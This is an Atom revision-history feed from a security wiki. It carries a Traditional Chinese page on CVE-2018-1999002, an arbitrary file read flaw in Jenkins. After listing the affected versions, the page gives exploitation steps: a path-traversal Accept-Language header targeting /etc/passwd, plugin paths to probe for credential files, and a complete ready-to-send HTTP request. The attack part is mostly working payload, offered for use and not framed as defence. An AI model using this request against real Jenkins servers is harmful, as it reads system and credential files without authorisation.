https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2018-1999002_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E%2Fzh-hant
CVE-2018-1999002 任意文件讀取漏洞/zh-hant - Revision history
2026-04-03T18:05:37Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2018-1999002_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E/zh-hant&diff=3380&oldid=prev
Pwnwiki: Created page with "CVE-2018-1999002 任意文件讀取漏洞"
2021-05-26T13:22:06Z
<p>Created page with "CVE-2018-1999002 任意文件讀取漏洞"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==影響版本==<br />
Jenkins weekly 2.132 以及更早的版本<br />
Jenkins LTS 2.121.1 以及更早的版本<br />
<br />
可以讀取Windows系統服務器中的任意文件，且在特定而條件下也可以讀取Linux系統服務器中的文件.<br />
<br />
==漏洞利用==<br />
需要已經開啟了匿名用戶讀取權限，在請求頭中添加：<br />
<pre><br />
Accept-Language: /../../../../../../../../etc/passwd<br />
</pre><br />
<br />
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試:<br />
<br />
<pre><br />
/plugin/jquery-detached/.xml<br />
/plugin/jquery-detached/.key<br />
/plugin/credentials/.ini<br />
</pre><br />
<br />
Windows:<br />
<pre><br />
GET /plugin/credentials/.ini HTTP/1.1<br />
Host: x.x.x.x:8080<br />
Accept: text/javascript, text/html, application/xml, text/xml, */*<br />
X-Prototype-Version: 1.7<br />
DNT: 1<br />
X-Requested-With: XMLHttpRequest<br />
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36<br />
Origin: http://x.x.x.x:8080<br />
Referer: http://x.x.x.x:8080/<br />
Accept-Encoding: gzip, deflate<br />
Accept-Language: /../../../../../../../../etc/passwd<br />
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971<br />
Connection: close<br />
</pre></div>
Pwnwiki